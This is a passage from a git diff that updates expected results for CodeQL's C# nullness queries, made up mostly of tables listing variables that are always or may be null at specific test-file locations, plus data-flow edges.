| E.cs:442:13:442:29 | ... is ... | true | E.cs:442:13:442:13 | access to parameter s | non-null |
| E.cs:447:13:447:25 | ... is ... | true | E.cs:447:13:447:13 | access to parameter s | non-null |
| E.cs:452:13:452:23 | ... is ... | true | E.cs:452:13:452:13 | access to parameter s | non-null |
+| F.cs:8:9:8:9 | access to local variable o | non-null | F.cs:7:20:7:23 | null | non-null |
+| F.cs:8:9:8:9 | access to local variable o | null | F.cs:7:20:7:23 | null | null |
+| F.cs:14:9:14:9 | access to local variable o | non-null | F.cs:13:21:13:24 | null | non-null |
+| F.cs:14:9:14:9 | access to local variable o | null | F.cs:13:21:13:24 | null | null |
| Forwarding.cs:9:13:9:30 | !... | false | Forwarding.cs:9:14:9:30 | call to method IsNullOrEmpty | true |
| Forwarding.cs:9:13:9:30 | !... | true | Forwarding.cs:9:14:9:30 | call to method IsNullOrEmpty | false |
| Forwarding.cs:9:14:9:14 | access to local variable s | empty | Forwarding.cs:7:20:7:23 | null | empty |
diff --git a/csharp/ql/test/query-tests/Nullness/NullAlways.expected b/csharp/ql/test/query-tests/Nullness/NullAlways.expected
index ec8a78e817b..e2e594b2e2c 100644
--- a/csharp/ql/test/query-tests/Nullness/NullAlways.expected
+++ b/csharp/ql/test/query-tests/Nullness/NullAlways.expected
@@ -38,6 +38,7 @@
| E.cs:331:9:331:9 | access to local variable x | Variable $@ is always null at this dereference. | E.cs:330:13:330:13 | x | x |
| E.cs:405:16:405:16 | access to local variable i | Variable $@ is always null at this dereference. | E.cs:403:14:403:14 | i | i |
| E.cs:439:13:439:13 | access to parameter s | Variable $@ is always null at this dereference. | E.cs:435:29:435:29 | s | s |
+| F.cs:8:9:8:9 | access to local variable o | Variable $@ is always null at this dereference. | F.cs:7:16:7:16 | o | o |
| Forwarding.cs:36:31:36:31 | access to local variable s | Variable $@ is always null at this dereference. | Forwarding.cs:7:16:7:16 | s | s |
| Forwarding.cs:40:27:40:27 | access to local variable s | Variable $@ is always null at this dereference. | Forwarding.cs:7:16:7:16 | s | s |
| NullAlwaysBad.cs:9:30:9:30 | access to parameter s | Variable $@ is always null at this dereference. | NullAlwaysBad.cs:7:29:7:29 | s | s |
diff --git a/csharp/ql/test/query-tests/Nullness/NullAlways.qlref b/csharp/ql/test/query-tests/Nullness/NullAlways.qlref
index 16785ed3e7a..9f937e60952 100644
--- a/csharp/ql/test/query-tests/Nullness/NullAlways.qlref
+++ b/csharp/ql/test/query-tests/Nullness/NullAlways.qlref
@@ -1 +1,2 @@
-CSI/NullAlways.ql
+query: CSI/NullAlways.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs b/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs
index 6f0d486f1c7..107a4f3381e 100644
--- a/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs
+++ b/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs
@@ -6,7 +6,7 @@ namespace NullAlways
{
void DoPrint(string s)
{
- if (s != null || s.Length > 0)
+ if (s != null || s.Length > 0) // $ Alert[cs/dereferenced-value-is-always-null]
Console.WriteLine(s);
}
}
diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybe.expected b/csharp/ql/test/query-tests/Nullness/NullMaybe.expected
index 631c2cd7766..876cde548b6 100644
--- a/csharp/ql/test/query-tests/Nullness/NullMaybe.expected
+++ b/csharp/ql/test/query-tests/Nullness/NullMaybe.expected
@@ -1,3 +1,483 @@
+#select
+| C.cs:64:9:64:10 | access to local variable o1 | C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 | Variable $@ may be null at this access because of $@ assignment. | C.cs:62:13:62:14 | o1 | o1 | C.cs:62:13:62:46 | Object o1 = ... | this |
+| C.cs:68:9:68:10 | access to local variable o2 | C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | C.cs:66:13:66:14 | o2 | o2 | C.cs:66:13:66:46 | Object o2 = ... | this |
+| C.cs:95:15:95:15 | access to local variable o | C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | C.cs:94:13:94:13 | o | o | C.cs:94:13:94:45 | Object o = ... | this |
+| C.cs:103:27:103:30 | access to parameter list | C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | Variable $@ may be null at this access because of $@ assignment. | C.cs:99:42:99:45 | list | list | C.cs:102:13:102:23 | ... = ... | this |
+| C.cs:177:13:177:13 | access to local variable s | C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:151:13:151:13 | s | s | C.cs:178:13:178:20 | ... = ... | this |
+| C.cs:203:13:203:13 | access to local variable s | C.cs:204:13:204:20 | SSA def(s) | C.cs:203:13:203:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:185:13:185:13 | s | s | C.cs:204:13:204:20 | ... = ... | this |
+| C.cs:223:9:223:9 | access to local variable s | C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:210:13:210:13 | s | s | C.cs:222:13:222:20 | ... = ... | this |
+| C.cs:242:13:242:13 | access to local variable s | C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:228:16:228:16 | s | s | C.cs:240:24:240:31 | ... = ... | this |
+| D.cs:23:9:23:13 | access to parameter param | D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param | Variable $@ may be null at this access because of $@ null argument. | D.cs:21:32:21:36 | param | param | D.cs:17:17:17:20 | null | this |
+| D.cs:32:9:32:13 | access to parameter param | D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:26:32:26:36 | param | param | D.cs:28:13:28:25 | ... != ... | this |
+| D.cs:62:13:62:14 | access to local variable o5 | D.cs:58:13:58:41 | SSA def(o5) | D.cs:62:13:62:14 | access to local variable o5 | Variable $@ may be null at this access because of $@ assignment. | D.cs:58:13:58:14 | o5 | o5 | D.cs:58:13:58:41 | String o5 = ... | this |
+| D.cs:73:13:73:14 | access to local variable o7 | D.cs:68:13:68:34 | SSA def(o7) | D.cs:73:13:73:14 | access to local variable o7 | Variable $@ may be null at this access because of $@ assignment. | D.cs:68:13:68:14 | o7 | o7 | D.cs:68:13:68:34 | String o7 = ... | this |
+| D.cs:82:13:82:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:82:13:82:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this |
+| D.cs:84:13:84:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:84:13:84:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this |
+| D.cs:91:13:91:14 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this |
+| D.cs:94:21:94:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:94:21:94:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this |
+| D.cs:98:21:98:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:98:21:98:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this |
+| D.cs:102:31:102:32 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:102:31:102:32 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this |
+| D.cs:105:19:105:20 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:105:19:105:20 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this |
+| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this |
+| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this |
+| D.cs:135:24:135:24 | access to parameter b | D.cs:125:44:125:44 | SSA param(b) | D.cs:135:24:135:24 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:44:125:44 | b | b | D.cs:128:20:128:28 | ... == ... | this |
+| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this |
+| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this |
+| D.cs:151:9:151:11 | access to parameter obj | D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:149:36:149:38 | obj | obj | D.cs:152:17:152:27 | ... != ... | this |
+| D.cs:171:9:171:11 | access to local variable obj | D.cs:163:16:163:25 | SSA def(obj) | D.cs:171:9:171:11 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | D.cs:163:16:163:18 | obj | obj | D.cs:163:16:163:25 | Object obj = ... | this |
+| D.cs:245:13:245:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:245:13:245:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this |
+| D.cs:247:13:247:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:247:13:247:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this |
+| D.cs:253:13:253:14 | access to local variable o2 | D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | D.cs:249:13:249:14 | o2 | o2 | D.cs:249:13:249:38 | String o2 = ... | this |
+| D.cs:267:13:267:13 | access to local variable o | D.cs:258:16:258:23 | SSA def(o) | D.cs:267:13:267:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:258:16:258:23 | Object o = ... | this |
+| D.cs:291:13:291:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this |
+| D.cs:291:13:291:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this |
+| D.cs:294:13:294:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this |
+| D.cs:294:13:294:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this |
+| D.cs:300:17:300:20 | access to local variable prev | D.cs:296:16:296:26 | SSA def(prev) | D.cs:300:17:300:20 | access to local variable prev | Variable $@ may be null at this access because of $@ assignment. | D.cs:296:16:296:19 | prev | prev | D.cs:296:16:296:26 | Object prev = ... | this |
+| D.cs:313:17:313:17 | access to local variable s | D.cs:304:16:304:23 | SSA def(s) | D.cs:313:17:313:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | D.cs:304:16:304:16 | s | s | D.cs:304:16:304:23 | String s = ... | this |
+| D.cs:324:9:324:9 | access to local variable r | D.cs:316:16:316:23 | SSA def(r) | D.cs:324:9:324:9 | access to local variable r | Variable $@ may be null at this access because of $@ assignment. | D.cs:316:16:316:16 | r | r | D.cs:316:16:316:23 | Object r = ... | this |
+| D.cs:356:13:356:13 | access to local variable a | D.cs:351:15:351:22 | SSA def(a) | D.cs:356:13:356:13 | access to local variable a | Variable $@ may be null at this access because of $@ assignment. | D.cs:351:15:351:15 | a | a | D.cs:351:15:351:22 | Int32[] a = ... | this |
+| D.cs:363:13:363:16 | access to local variable last | D.cs:360:20:360:30 | SSA def(last) | D.cs:363:13:363:16 | access to local variable last | Variable $@ may be null at this access because of $@ assignment. | D.cs:360:20:360:23 | last | last | D.cs:360:20:360:30 | String last = ... | this |
+| D.cs:372:13:372:13 | access to local variable b | D.cs:366:15:366:47 | SSA def(b) | D.cs:372:13:372:13 | access to local variable b | Variable $@ may be null at this access because of $@ assignment. | D.cs:366:15:366:15 | b | b | D.cs:366:15:366:47 | Int32[] b = ... | this |
+| D.cs:395:20:395:20 | access to parameter a | D.cs:388:36:388:36 | SSA param(a) | D.cs:395:20:395:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:36:388:36 | a | a | D.cs:390:20:390:28 | ... == ... | this |
+| D.cs:400:20:400:20 | access to parameter b | D.cs:388:45:388:45 | SSA param(b) | D.cs:400:20:400:20 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:45:388:45 | b | b | D.cs:397:20:397:28 | ... == ... | this |
+| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:27:407:35 | ... == ... | this |
+| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:55:407:63 | ... != ... | this |
+| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:411:13:411:21 | ... != ... | this |
+| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:14:407:22 | ... != ... | this |
+| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:42:407:50 | ... == ... | this |
+| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:409:13:409:21 | ... != ... | this |
+| E.cs:12:38:12:39 | access to local variable a2 | E.cs:9:18:9:26 | SSA def(a2) | E.cs:12:38:12:39 | access to local variable a2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:9:18:9:19 | a2 | a2 | E.cs:9:18:9:26 | Int64[][] a2 = ... | this |
+| E.cs:14:13:14:14 | access to local variable a3 | E.cs:11:16:11:24 | SSA def(a3) | E.cs:14:13:14:14 | access to local variable a3 | Variable $@ may be null at this access because of $@ assignment. | E.cs:11:16:11:17 | a3 | a3 | E.cs:11:16:11:24 | Int64[] a3 = ... | this |
+| E.cs:27:13:27:14 | access to local variable s1 | E.cs:23:13:23:30 | SSA def(s1) | E.cs:27:13:27:14 | access to local variable s1 | Variable $@ may be null at this access because of $@ assignment. | E.cs:19:13:19:14 | s1 | s1 | E.cs:23:13:23:30 | ... = ... | this |
+| E.cs:61:13:61:17 | access to local variable slice | E.cs:51:22:51:33 | SSA def(slice) | E.cs:61:13:61:17 | access to local variable slice | Variable $@ may be null at this access because of $@ assignment. | E.cs:51:22:51:26 | slice | slice | E.cs:51:22:51:33 | List slice = ... | this |
+| E.cs:73:13:73:15 | access to parameter arr | E.cs:66:40:66:42 | SSA param(arr) | E.cs:73:13:73:15 | access to parameter arr | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:66:40:66:42 | arr | arr | E.cs:70:22:70:32 | ... == ... | this |
+| E.cs:112:13:112:16 | access to local variable arr2 | E.cs:107:15:107:25 | SSA def(arr2) | E.cs:112:13:112:16 | access to local variable arr2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:107:15:107:18 | arr2 | arr2 | E.cs:107:15:107:25 | Int32[] arr2 = ... | this |
+| E.cs:125:33:125:35 | access to local variable obj | E.cs:137:25:137:34 | SSA def(obj) | E.cs:125:33:125:35 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | E.cs:119:13:119:15 | obj | obj | E.cs:137:25:137:34 | ... = ... | this |
+| E.cs:159:13:159:16 | access to local variable obj2 | E.cs:152:16:152:26 | SSA def(obj2) | E.cs:159:13:159:16 | access to local variable obj2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:152:16:152:19 | obj2 | obj2 | E.cs:153:13:153:24 | ... != ... | this |
+| E.cs:167:21:167:21 | access to parameter a | E.cs:162:28:162:28 | SSA param(a) | E.cs:167:21:167:21 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:162:28:162:28 | a | a | E.cs:164:17:164:25 | ... == ... | this |
+| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this |
+| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this |
+| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this |
+| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this |
+| E.cs:192:17:192:17 | access to parameter o | E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:190:29:190:29 | o | o | E.cs:193:17:193:17 | access to parameter o | this |
+| E.cs:201:13:201:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this |
+| E.cs:203:13:203:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this |
+| E.cs:218:9:218:9 | access to local variable x | E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:215:13:215:13 | x | x | E.cs:217:13:217:20 | ... = ... | this |
+| E.cs:230:9:230:9 | access to local variable x | E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:230:9:230:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:225:13:225:13 | x | x | E.cs:227:13:227:20 | ... = ... | this |
+| E.cs:235:16:235:16 | access to parameter i | E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:233:26:233:26 | i | i | E.cs:233:26:233:26 | i | this |
+| E.cs:240:21:240:21 | access to parameter i | E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:238:26:238:26 | i | i | E.cs:238:26:238:26 | i | this |
+| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this |
+| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this |
+| E.cs:302:9:302:9 | access to local variable s | E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:301:13:301:13 | s | s | E.cs:301:13:301:27 | String s = ... | this |
+| E.cs:343:9:343:9 | access to local variable x | E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:342:13:342:13 | x | x | E.cs:342:13:342:32 | String x = ... | this |
+| E.cs:349:9:349:9 | access to local variable x | E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:348:17:348:17 | x | x | E.cs:348:17:348:36 | dynamic x = ... | this |
+| E.cs:366:41:366:41 | access to parameter s | E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s | Variable $@ may be null at this access because the parameter has a null default value. | E.cs:366:28:366:28 | s | s | E.cs:366:32:366:35 | null | this |
+| E.cs:375:20:375:20 | access to local variable s | E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:374:17:374:17 | s | s | E.cs:374:17:374:31 | String s = ... | this |
+| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:14:382:23 | ... == ... | this |
+| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:44:382:53 | ... != ... | this |
+| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:384:13:384:22 | ... == ... | this |
+| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:28:382:37 | ... != ... | this |
+| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:58:382:67 | ... == ... | this |
+| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:384:27:384:36 | ... == ... | this |
+| E.cs:417:34:417:34 | access to parameter i | E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:415:27:415:27 | i | i | E.cs:415:27:415:27 | i | this |
+| E.cs:423:38:423:38 | access to parameter i | E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:420:27:420:27 | i | i | E.cs:420:27:420:27 | i | this |
+| E.cs:430:39:430:39 | access to parameter i | E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:427:27:427:27 | i | i | E.cs:427:27:427:27 | i | this |
+| GuardedString.cs:35:31:35:31 | access to local variable s | GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:35:31:35:31 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | GuardedString.cs:7:16:7:16 | s | s | GuardedString.cs:7:16:7:32 | String s = ... | this |
+| NullMaybeBad.cs:7:27:7:27 | access to parameter o | NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o | Variable $@ may be null at this access because of $@ null argument. | NullMaybeBad.cs:5:25:5:25 | o | o | NullMaybeBad.cs:13:17:13:20 | null | this |
+| Params.cs:14:17:14:20 | access to parameter args | Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args | Variable $@ may be null at this access because of $@ null argument. | Params.cs:12:36:12:39 | args | args | Params.cs:20:12:20:15 | null | this |
+| StringConcatenation.cs:16:17:16:17 | access to local variable s | StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:16:17:16:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | StringConcatenation.cs:14:16:14:16 | s | s | StringConcatenation.cs:14:16:14:23 | String s = ... | this |
+edges
+| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:8:15:8:32 | access to local variable synchronizedAlways |
+| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:10:13:10:30 | access to local variable synchronizedAlways |
+| A.cs:16:15:16:30 | SSA def(arrayNull) | A.cs:17:9:17:17 | access to local variable arrayNull |
+| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:31:27:31:37 | access to local variable arrayAccess |
+| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:36:27:36:37 | access to local variable arrayAccess |
+| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:32:27:32:37 | access to local variable fieldAccess |
+| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:37:27:37:37 | access to local variable fieldAccess |
+| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:33:28:33:39 | access to local variable methodAccess |
+| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:38:15:38:26 | access to local variable methodAccess |
+| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:34:27:34:36 | access to local variable methodCall |
+| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:39:27:39:36 | access to local variable methodCall |
+| A.cs:48:16:48:28 | SSA def(varRef) | A.cs:50:9:50:14 | access to local variable varRef |
+| Assert.cs:13:9:13:25 | [b (line 7): false] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s |
+| Assert.cs:13:9:13:25 | [b (line 7): true] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s |
+| Assert.cs:21:9:21:25 | [b (line 7): false] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s |
+| Assert.cs:21:9:21:25 | [b (line 7): true] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s |
+| Assert.cs:29:9:29:25 | [b (line 7): false] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s |
+| Assert.cs:29:9:29:25 | [b (line 7): true] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s |
+| Assert.cs:45:9:45:25 | [b (line 7): true] SSA def(s) | Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b |
+| Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... | Assert.cs:47:27:47:27 | access to local variable s |
+| Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b | Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... |
+| Assert.cs:49:9:49:25 | [b (line 7): true] SSA def(s) | Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b |
+| Assert.cs:50:24:50:38 | [false] ... \|\| ... | Assert.cs:51:27:51:27 | access to local variable s |
